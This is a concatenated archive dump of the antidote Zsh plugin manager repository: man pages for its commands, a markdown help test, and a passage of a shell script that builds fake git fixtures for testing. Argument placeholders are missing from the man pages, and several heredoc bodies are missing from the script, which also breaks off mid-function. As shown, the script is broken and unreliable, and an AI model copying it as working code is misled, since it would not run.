ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-install \- install a bundle .SH "SYNOPSIS" .sp \fBantidote install\fP [\-h|\-\-help] [\-k|\-\-kind ] [\-p|\-\-path ] [\-a|\-\-autoload ] [\-c|\-\-conditional ] [\-\-pre ] [\-\-post ] [\-\-pin ] [\-b|\-\-branch ] [] .SH "DESCRIPTION" .sp \fBantidote\-install\fP clones a new bundle and adds it to your plugins file. .sp The default bundle file is \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.txt\fP. This can be overridden with the following \f(CRzstyle\fP: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:bundle\*(Aq file /path/to/my/bundle_file.txt .fam .fi .if n .RE .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB\-k, \-\-kind \fP .RS 4 The kind of bundle. Valid values: autoload, fpath, path, clone, defer, zsh. .RE .sp \fB\-p, \-\-path \fP .RS 4 A relative subpath within the bundle where the plugin is located. .RE .sp \fB\-b, \-\-branch \fP .RS 4 The git branch to use. .RE .sp \fB\-a, \-\-autoload \fP .RS 4 A relative subpath within the bundle where autoload function files are located. .RE .sp \fB\-c, \-\-conditional \fP .RS 4 A conditional function used to check whether to load the bundle. .RE .sp \fB\-\-pre \fP .RS 4 A function to be called prior to loading the bundle. .RE .sp \fB\-\-post \fP .RS 4 A function to be called after loading the bundle. .RE .sp \fB\-\-pin \fP .RS 4 Pin the bundle to a specific commit SHA. Pinned bundles are skipped during \f(CRantidote update\fP. .RE .sp \fB\fP .RS 4 Bundle to be installed. .RE .sp \fB[]\fP .RS 4 Bundle file to write to if not using the default. Defaults to \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.txt\fP or the \f(CRzstyle\fP setting. .RE .SH "EXAMPLES" .sp .if n .RS 4 .nf .fam C antidote install zsh\-users/zsh\-history\-substring\-search .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote-list.1000066400000000000000000000035131516600341500213430ustar00rootroot00000000000000'\" t .\" Title: antidote-list .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2026-03-25 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-LIST" "1" "2026-03-25" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-list \- list cloned bundles .SH "SYNOPSIS" .sp \fBantidote list\fP [\-h|\-\-help] \fBantidote list\fP [\-l|\-\-long] [\-d|\-\-dirs] [\-u|\-\-url] [\-j|\-\-jsonl] .SH "DESCRIPTION" .sp \fBantidote\-list\fP lists the cloned bundles in \fBantidote home\fP. .sp By default, bundle path and URL pairs are shown one per line with path first. Use \fB\-\-long\fP for a verbose key\-value view of each bundle, \fB\-\-dirs\fP to show directory paths, \fB\-\-url\fP to show URLs only, or \fB\-\-jsonl\fP for machine\-readable output. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB\-l, \-\-long\fP .RS 4 Show detailed information for each bundle (repo, path, URL, SHA, pin status). .RE .sp \fB\-d, \-\-dirs\fP .RS 4 Show bundle directory paths. .RE .sp \fB\-u, \-\-url\fP .RS 4 Show bundle URLs only. .RE .sp \fB\-j, \-\-jsonl\fP .RS 4 Output the bundle list in JSONL format. .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote-load.1000066400000000000000000000040731516600341500213110ustar00rootroot00000000000000'\" t .\" Title: antidote-load .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-LOAD" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-load \- statically source bundles .SH "SYNOPSIS" .sp \fBantidote load\fP [ []] .SH "DESCRIPTION" .sp \fBantidote\-load\fP will turn the bundle file into a static load file and then source it. .sp The default bundle file is \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.txt\fP. This can be overridden with the following \f(CRzstyle\fP: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:bundle\*(Aq file /path/to/my/bundle_file.txt .fam .fi .if n .RE .sp The default static file is \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.zsh\fP. This can be overridden with the following \f(CRzstyle\fP: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:static\*(Aq file /path/to/my/static_file.zsh .fam .fi .if n .RE .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB[]\fP .RS 4 The plugins file to source if not using the default. Defaults to \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.txt\fP or the \f(CRzstyle\fP setting. .RE .sp \fB[]\fP .RS 4 The static plugins file to generate if not using the default. Defaults to \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.zsh\fP or the \f(CRzstyle\fP setting. .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote-path.1000066400000000000000000000024041516600341500213220ustar00rootroot00000000000000'\" t .\" Title: antidote-path .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-PATH" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-path \- print the path of a cloned bundle .SH "SYNOPSIS" .sp \fBantidote path\fP .SH "DESCRIPTION" .sp \fBantidote\-path\fP prints the path of a cloned bundle. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB[]\fP .RS 4 The bundle whose cloned path will be printed. .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote-purge.1000066400000000000000000000026031516600341500215110ustar00rootroot00000000000000'\" t .\" Title: antidote-purge .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-PURGE" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-purge \- remove a bundle .SH "SYNOPSIS" .sp \fBantidote purge\fP .SH "DESCRIPTION" .sp \fBantidote\-purge\fP removes a cloned bundle. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB\-a, \-\-all\fP .RS 4 Purge all cloned bundles. .RE .sp \fB\fP .RS 4 Bundle to be purged. .RE .SH "EXAMPLES" .sp .if n .RS 4 .nf .fam C antidote purge zsh\-users/zsh\-history\-substring\-search .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote-snapshot.1000066400000000000000000000107341516600341500222320ustar00rootroot00000000000000'\" t .\" Title: antidote-snapshot .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2026-04-02 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-SNAPSHOT" "1" "2026-04-02" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-snapshot \- save, restore, remove, or list bundle snapshots .SH "SYNOPSIS" .sp \fBantidote snapshot\fP home .sp \fBantidote snapshot\fP list .sp \fBantidote snapshot\fP remove [.\|.\|.] .sp \fBantidote snapshot\fP restore [] .sp \fBantidote snapshot\fP save [] .SH "DESCRIPTION" .sp \fBantidote\-snapshot\fP manages point\-in\-time snapshots of your cloned bundles. A snapshot is a bundle file where every repository is annotated with \f(CRkind:clone pin:\fP, capturing the exact commit of each cloned bundle. .sp Snapshots are saved automatically during \f(CRantidote update\fP in static mode. They are not created in dynamic mode. .sp By default, snapshots are stored in \f(CR$XDG_DATA_HOME/antidote/snapshots\fP (or \f(CR~/Library/Application Support/antidote/snapshots\fP on macOS). A rolling history is maintained, with older snapshots pruned beyond the configured maximum. .SH "SUBCOMMANDS" .sp \fBhome\fP .RS 4 Print the path to the snapshot directory. .RE .sp \fBlist\fP .RS 4 List all available snapshot files. .RE .sp \fBremove\fP .RS 4 Remove snapshot files. If no file is given and \f(CRfzf\fP is available, an interactive multi\-select picker is shown. .RE .sp \fBrestore\fP .RS 4 Restore bundles from a snapshot file. If no file is given, the most recent snapshot is used. .RE .sp \fBsave\fP .RS 4 Save a snapshot of all currently cloned bundles. Optionally specify a file path; otherwise a timestamped file is created in the snapshot directory. .RE .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .SH "CONFIGURATION" .sp The snapshot directory can be customized: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:snapshot\*(Aq dir ~/.antidote\-snapshots .fam .fi .if n .RE .sp The maximum number of snapshots to keep (default 100): .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:snapshot\*(Aq max 25 .fam .fi .if n .RE .sp The command used for interactive snapshot selection (default \f(CRfzf\fP). Set it to an empty value to disable picker\-based selection: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:fzf\*(Aq cmd fzf zstyle \*(Aq:antidote:fzf\*(Aq cmd \*(Aq\*(Aq .fam .fi .if n .RE .sp Set the \f(CRFZF_DEFAULT_OPTS\fP and \f(CRFZF_DEFAULT_OPTS_FILE\fP used for fzf in antidote: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:fzf\*(Aq opts "\-\-height=40% \-\-layout=reverse" zstyle \*(Aq:antidote:fzf\*(Aq opts_file ~/.config/antidote/fzf\-opts .fam .fi .if n .RE .sp If \f(CRbat\fP is installed, it is used for syntax\-highlighted fzf previews. If the Antidote Bundle syntax definition is also installed, it will be used; otherwise bat falls back to \f(CRproperties\fP syntax. Set bat options with the following zstyle: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:bat\*(Aq opts "\-\-style=plain" .fam .fi .if n .RE .sp Disable auto\-snapshots on \f(CRantidote update\fP (explicit \f(CRantidote snapshot save\fP still works): .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:snapshot:automatic\*(Aq enabled no .fam .fi .if n .RE .SH "EXAMPLES" .sp Show where snapshots are stored: .sp .if n .RS 4 .nf .fam C antidote snapshot home .fam .fi .if n .RE .sp Save a snapshot: .sp .if n .RS 4 .nf .fam C antidote snapshot save .fam .fi .if n .RE .sp List snapshots: .sp .if n .RS 4 .nf .fam C antidote snapshot list .fam .fi .if n .RE .sp Restore from the most recent snapshot: .sp .if n .RS 4 .nf .fam C antidote snapshot restore .fam .fi .if n .RE .sp Restore from a specific snapshot: .sp .if n .RS 4 .nf .fam C antidote snapshot restore ~/.local/share/antidote/snapshots/snapshot\-20260101\-120000.txt .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote-update.1000066400000000000000000000033451516600341500216550ustar00rootroot00000000000000'\" t .\" Title: antidote-update .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2026-03-23 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-UPDATE" "1" "2026-03-23" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-update \- update bundles .SH "SYNOPSIS" .sp \fBantidote update\fP [\-h|\-\-help] [\-s|\-\-self] [\-b|\-\-bundles] [\-n|\-\-dry\-run] .SH "DESCRIPTION" .sp \fBantidote\-update\fP updates antidote and its cloned bundles. Bundles that have been pinned with the \f(CRpin:\fP annotation will be skipped. In static mode, a snapshot is automatically saved before updating so you can restore to the previous state if needed (see \fBantidote\-snapshot\fP). .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB\-s, \-\-self\fP .RS 4 Update antidote. .RE .sp \fB\-b, \-\-bundles\fP .RS 4 Update bundles. .RE .sp \fB\-n, \-\-dry\-run\fP .RS 4 Check for available updates without making any changes. .RE .SH "EXAMPLES" .sp .if n .RS 4 .nf .fam C antidote update .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote.1000066400000000000000000000205401516600341500203710ustar00rootroot00000000000000'\" t .\" Title: antidote .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2026-03-26 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE" "1" "2026-03-26" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote \- the cure to slow zsh plugin management .SH "SYNOPSIS" .sp \fBantidote\fP [\-v | \-\-version] [\-h | \-\-help] [\-\-diagnostics] [ .\|.\|.] .SH "DESCRIPTION" .sp \fBantidote\fP is a Zsh plugin manager made from the ground up thinking about performance. .sp It is fast because it can do things concurrently, and generates an ultra\-fast static plugin file that you can easily load from your Zsh config. .sp It is written natively in Zsh, is well tested, and picks up where Antigen and Antibody left off. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show context\-sensitive help for antidote. .RE .sp \fB\-v, \-\-version\fP .RS 4 Show currently installed antidote version. .RE .sp \fB\-\-diagnostics\fP .RS 4 Show antidote and system diagnostics. .RE .SH "COMMANDS" .sp \fBhelp\fP .RS 4 Show documentation .RE .sp \fBload\fP .RS 4 Statically source all bundles from the plugins file .RE .sp \fBbundle\fP .RS 4 Clone bundle(s) and generate the static load script .RE .sp \fBinstall\fP .RS 4 Clone a new bundle and add it to your plugins file .RE .sp \fBupdate\fP .RS 4 Update antidote and its cloned bundles .RE .sp \fBpurge\fP .RS 4 Remove a cloned bundle .RE .sp \fBhome\fP .RS 4 Print where antidote is cloning bundles .RE .sp \fBlist\fP .RS 4 List cloned bundles .RE .sp \fBpath\fP .RS 4 Print the path of a cloned bundle .RE .sp \fBsnapshot\fP .RS 4 Save, restore, or list bundle snapshots .RE .sp \fBinit\fP .RS 4 Initialize the shell for dynamic bundles .RE .SH "EXAMPLES" .SS "A Simple Config" .sp Create a \f(CR.zsh_plugins.txt\fP file with a list of the plugins you want: .sp .if n .RS 4 .nf .fam C # ${ZDOTDIR:\-$HOME}/.zsh_plugins.txt zsh\-users/zsh\-syntax\-highlighting zsh\-users/zsh\-history\-substring\-search zsh\-users/zsh\-autosuggestions .fam .fi .if n .RE .sp Now, simply load your newly created static plugins file in your \f(CR.zshrc\fP. .sp .if n .RS 4 .nf .fam C # ${ZDOTDIR:\-$HOME}/.zshrc source /path/to/antidote/antidote.zsh antidote load .fam .fi .if n .RE .SS "A More Advanced Config" .sp Your \f(CR.zsh_plugins.txt\fP file supports annotations. Annotations tell antidote how to do things like load plugins from alternate paths. This lets you use plugins from popular frameworks like Oh\-My\-Zsh: .sp .if n .RS 4 .nf .fam C # ${ZDOTDIR:\-$HOME}/.zsh_plugins.txt ohmyzsh/ohmyzsh path:lib ohmyzsh/ohmyzsh path:plugins/git ohmyzsh/ohmyzsh path:plugins/magic\-enter etc... .fam .fi .if n .RE .SS "Dynamic Bundling" .sp Users familiar with legacy plugin managers like Antigen might prefer to use dynamic bundling. With dynamic bundling you sacrifice some performance to avoid having separate plugin files. To use dynamic bundling, we need to change how \fBantidote bundle\fP handles your plugins. We do this by sourcing the output from \fBantidote init\fP. .sp An example config might look like this: .sp .if n .RS 4 .nf .fam C source /path/to/antidote/antidote.zsh source <(antidote init) antidote bundle zsh\-users/zsh\-autosuggestions antidote bundle ohmyzsh/ohmyzsh path:lib antidote bundle ohmyzsh/ohmyzsh path:plugins/git .fam .fi .if n .RE .sp Instead of calling \fBantidote bundle\fP over and over, you might prefer to load bundles with a HEREDOC. .sp .if n .RS 4 .nf .fam C source /path/to/antidote/antidote.zsh source <(antidote init) antidote bundle <] [ ...] flags: -h, --help Show context-sensitive help -v, --version Show application version --diagnostics Show antidote and system diagnostics commands: bundle Clone bundle(s) and generate the static load script install Clone a new bundle and add it to your plugins file update Update antidote and its cloned bundles purge Remove a cloned bundle home Print where antidote is cloning bundles list List cloned bundles path Print the path of a cloned bundle snapshot Save, restore, or list bundle snapshots init Initialize the shell for dynamic bundles help Show documentation load Statically source all bundles from the plugins file % ``` ## Version The `-v/--version` flag displays the current version: ```zsh % zstyle ':antidote:test:version' show-sha off % antidote --version | mask_semver antidote version X.X.X % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/__init__.zsh000066400000000000000000000003501516600341500205150ustar00rootroot00000000000000#!/bin/zsh () { emulate -L zsh setopt local_options 0=${(%):-%x} local projdir="${0:A:h:h}" local testdir="${projdir}/tests" # setup test functions fpath+=( $testdir/functions ) autoload -Uz $testdir/functions/* } mattmc3-antidote-4913257/tests/bin/000077500000000000000000000000001516600341500170025ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/bin/init_fixtures.zsh000066400000000000000000000304461516600341500224330ustar00rootroot00000000000000#!/usr/bin/env zsh # shellcheck disable=SC3043 setopt ERR_EXIT NO_UNSET die() { warn "$@"; exit "${ERR:-1}"; } say() { printf '%s\n' "$@"; } warn() { say "$@" >&2; } ROOT_DIR="$(git -C "${0:A:h}" rev-parse --show-toplevel)" \ || ERR=2 die "Cannot locate git root for '$0'." FIXTURE_DIR="${FIXTURE_DIR:-$ROOT_DIR/tests/fixtures}" FIXTURE_SHAS_FILE="$FIXTURE_DIR/fixture_shas.tsv" # Load the fixture SHAs from TSV file if it exists typeset -gA fixture_shas typeset -ga fixture_urls if [[ -f "$FIXTURE_SHAS_FILE" ]]; then while IFS=$'\t' read -r key value; do [[ -n "$key" ]] && fixture_shas[$key]="$value" done < "$FIXTURE_SHAS_FILE" fi init_git_environment() { # Ignore user/system git configs to keep commits deterministic. export GIT_CONFIG_GLOBAL=/dev/null export GIT_CONFIG_NOSYSTEM=1 export GIT_AUTHOR_NAME="Fixture Author" export GIT_AUTHOR_EMAIL="fixture@example.com" export GIT_AUTHOR_DATE="2025-01-01T00:00:00Z" export GIT_COMMITTER_NAME="Fixture Committer" export GIT_COMMITTER_EMAIL="fixture@example.com" export GIT_COMMITTER_DATE="2025-01-01T00:00:00Z" } clean() { mkdir -p "$FIXTURE_DIR" rm -rf -- "$FIXTURE_DIR"/bare "$FIXTURE_DIR"/antidote } url_to_dir() { local url dir [ -n "$1" ] || return 1 # Ensure the provided URL ends with .git url="$1" case "$url" in *.git) ;; *) url="${url}.git" ;; esac dir=${url:gs/\:/-COLON-} dir=${dir:gs/\//-SLASH-} dir=${dir:gs/\@/-AT-} say "$dir" } generate_fixture_shas() { : > "$FIXTURE_SHAS_FILE" for key in "${(@ko)fixture_shas}"; do printf '%s\t%s\n' "$key" "${fixture_shas[$key]}" >> "$FIXTURE_SHAS_FILE" done say "Generated $FIXTURE_SHAS_FILE" } generate_fixture_gitconfig() { local gitconfig_file="$FIXTURE_DIR/gitconfig" local url safe_dir printf '[user]\n\tname = Fixture User\n\temail = fixture@example.com\n' > "$gitconfig_file" for url in "${fixture_urls[@]}"; do safe_dir="$(url_to_dir "$url")" printf '[url "%s"]\n\tinsteadOf = %s\n' \ "$FIXTURE_DIR/bare/$safe_dir" "$url" \ >> "$gitconfig_file" # also match URLs with .git suffix to prevent double .git local url_dotgit="${url%.git}.git" if [[ "$url_dotgit" != "$url" ]]; then printf '[url "%s"]\n\tinsteadOf = %s\n' \ "$FIXTURE_DIR/bare/$safe_dir" "$url_dotgit" \ >> "$gitconfig_file" fi done say "Generated $gitconfig_file" } record_sha() { local short_name dir sha short_name="$1" dir="$2" sha="$(git -C "$dir" rev-parse --short HEAD)" fixture_shas[$short_name]="$sha" printf 'Updated %-30s SHA: %s\n' "$short_name" "$sha" } commit_and_record() { local dir sha_key commit_msg dir="$1" sha_key="$2" commit_msg="$3" touch -t 202601010000 "$dir"/**/*(..) git -C "$dir" add . git -C "$dir" commit --quiet -m "$commit_msg" git -C "$dir" push --quiet record_sha "$sha_key" "$dir" if [[ -n "${fixture_shas[$sha_key]:-}" ]]; then check_sha "$dir" "${fixture_shas[$sha_key]}" fi } get_fixture_dir() { local url="$1" say "$FIXTURE_DIR/antidote/$(url_to_clone_dir "$url")" } add_functions_to_fixture() { local url dir func_name url="$1" func_name="$2" dir="$FIXTURE_DIR/antidote/$(url_to_clone_dir "$url")" mkdir -p "$dir/functions" cat > "$dir/functions/$func_name" < "$dir/functions/_$func_name" < "$file" printf '%s\n' '0=${(%):-%x}' >> "$file" printf '%s\n' 'echo "${0:a:t}"' >> "$file" } make_fixture() { local url file_extension safe_dir repo_name short_name clone_path git_bare_dir git_clone_dir url="$1" file_extension="$2" fixture_urls+=("$url") safe_dir="$(url_to_dir "$url")" repo_name="$(get_repo_name "$url")" short_name="$(get_short_name "$url")" clone_path="$(url_to_clone_dir "$url")" git_bare_dir="$FIXTURE_DIR/bare/$safe_dir" git_clone_dir="$FIXTURE_DIR/antidote/$clone_path" # Make a bare repo and clone it. git init --quiet --bare "$git_bare_dir" # git -C "$git_bare_dir" remote add "origin" "$url" git clone --quiet "$git_bare_dir" "$git_clone_dir" >/dev/null 2>&1 # Make a plugin file. if [ "$file_extension" = "" ]; then target="$git_clone_dir/${repo_name}" cat > "$target" < "$target" < "$ohmy_dir/lib/lib${i}.zsh" < "$ohmy_dir/themes/pretty.zsh-theme" < "$ohmy_dir/custom/themes/pretty.zsh-theme" < "$ohmy_dir/custom/themes/ugly.zsh-theme" < "$ohmy_dir/plugins/$plugin/${plugin}.plugin.zsh" < "$ohmy_dir/plugins/docker/_docker" <<'EOF' #compdef EOF # Add function for macos plugin mkdir -p "$ohmy_dir/plugins/macos/functions" cat > "$ohmy_dir/plugins/macos/functions/macos_func" <<'EOF' #!/bin/zsh function macos_func { echo macos_func "$@" } macos_func "$@" EOF commit_and_record "$ohmy_dir" "ohmy/ohmy-updated" "Add lib, themes, and plugins directories" } setup_fixture_foo_baz() { local url dir url="https://fakegitsite.com/foo/baz" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") add_functions_to_fixture "$url" "baz" commit_and_record "$dir" "foo/baz-updated" "Add function files" } setup_fixture_purify() { local url dir url="https://fakegitsite.com/themes/purify" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") make_file "$dir"/purify.zsh make_file "$dir"/async.zsh make_file "$dir"/promp_purify_setup commit_and_record "$dir" "themes/purify-updated1" "Add more fake purify files" # Remove plugin file so we have a bad HEAD rm -rf -- "$dir"/purify.plugin.zsh commit_and_record "$dir" "themes/purify-updated2" "Remove plugin file" } setup_fixture_zsh_defer() { local url dir url="https://fakegitsite.com/getantidote/zsh-defer" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") cat >> "$dir/zsh-defer.plugin.zsh" <<'EOF' function zsh-defer { "$@" } EOF commit_and_record "$dir" "getantidote/zsh-defer-updated" "Add zsh-defer function" } setup_fixture_foo_bar() { local url dir url="https://fakegitsite.com/foo/bar" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") # Create a 'dev' branch for branch annotation testing git -C "$dir" checkout --quiet -b dev git -C "$dir" push --quiet origin dev git -C "$dir" checkout --quiet main } setup_fixture_themes_ohmytheme() { make_fixture "https://fakegitsite.com/themes/ohmytheme" "zsh-theme" } # setup_fixture_zsh_users_zsh_bench() { # make_fixture "https://fakegitsite.com/zsh-users/zsh-bench" "" # } setup_fixture_foo_qux() { make_fixture "git@fakegitsite.com:foo/qux" "plugin.zsh" } setup_fixture_bar_baz() { make_fixture "https://fakegitsite.com/bar/baz" "plugin.zsh" } setup_fixture_custom_zsh_defer() { local url dir url="https://fakegitsite.com/custom/zsh-defer" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") cat >> "$dir/zsh-defer.plugin.zsh" <<'EOF' function zsh-defer { "$@" } EOF commit_and_record "$dir" "custom/zsh-defer-updated" "Add zsh-defer function" } setup_fixture_zsh_users_zsh_autosuggestions() { make_fixture "https://fakegitsite.com/zsh-users/zsh-autosuggestions" "plugin.zsh" } setup_fixture_test_install() { make_fixture "https://fakegitsite.com/test/install" "plugin.zsh" } setup_fixture_pintest_pinme() { local url dir url="https://fakegitsite.com/pintest/pinme" make_fixture "$url" "plugin.zsh" dir=$(get_fixture_dir "$url") # 